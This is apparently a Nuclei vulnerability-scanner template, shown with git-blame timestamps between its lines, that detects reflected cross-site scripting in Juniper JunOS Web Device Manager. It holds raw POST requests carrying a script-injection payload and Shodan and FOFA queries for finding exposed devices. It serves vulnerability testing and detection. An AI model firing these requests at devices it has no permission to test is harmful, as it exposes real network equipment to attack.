2024-01-18 21:18:03 +00:00
|
|
|
id: junos-xss
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: JunOS - Cross-Site Scripting
|
|
|
|
author: DhiyaneshDK
|
|
|
|
severity: medium
|
|
|
|
reference:
|
|
|
|
- https://labs.watchtowr.com/the-second-wednesday-of-the-first-month-of-every-quarter-juniper-0day-revisited/
|
2024-09-10 09:08:16 +00:00
|
|
|
classification:
|
|
|
|
cpe: cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
|
2024-01-18 21:18:03 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
|
|
|
max-request: 2
|
2024-09-10 09:08:16 +00:00
|
|
|
vendor: juniper
|
|
|
|
product: junos
|
2024-01-18 21:18:03 +00:00
|
|
|
shodan-query: title:"Juniper Web Device Manager"
|
|
|
|
fofa-query: title="Juniper Web Device Manager"
|
|
|
|
tags: junos,xss
|
|
|
|
variables:
|
|
|
|
string: "{{to_lower(rand_base(2))}}"
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /webauth_operation.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2024-01-18 21:21:51 +00:00
|
|
|
|
2024-01-18 21:18:03 +00:00
|
|
|
rs=emit_debug_note&rsargs[]={{string}}&rsargs[]=<script>alert('document.domain');</script>
|
|
|
|
- |
|
|
|
|
POST /webauth_operation.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2024-01-18 21:21:51 +00:00
|
|
|
|
2024-01-18 21:18:03 +00:00
|
|
|
rs=sajax_show_one_stub&rsargs[]={{string}}<script>alert('document.domain');</script>
|
|
|
|
|
|
|
|
stop-at-first-match: true
|
2024-09-10 09:08:16 +00:00
|
|
|
|
2024-01-18 21:18:03 +00:00
|
|
|
matchers-condition: or
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
name: emit-debug-note-xss
|
|
|
|
words:
|
|
|
|
- "ERROR: <script>alert('document.domain');</script>"
|
|
|
|
- "monospace"
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
name: sajax-show-one-stub-xss
|
|
|
|
words:
|
|
|
|
- "<script>alert('document.domain');</script>"
|
|
|
|
- "wrapper for"
|
|
|
|
condition: and
|
2024-09-10 09:08:16 +00:00
|
|
|
|
|
|
|
# digest: 490a0046304402207bac5270d60e93e8c0917e948d364d49fa4b326f8ab53b07e2411d736bbedea3022015b5724be40867e52634c42f62d4efb59de6b96634fb125e90fad2aaac245d7b:922c64590222798bb761d5b6d8e72950
|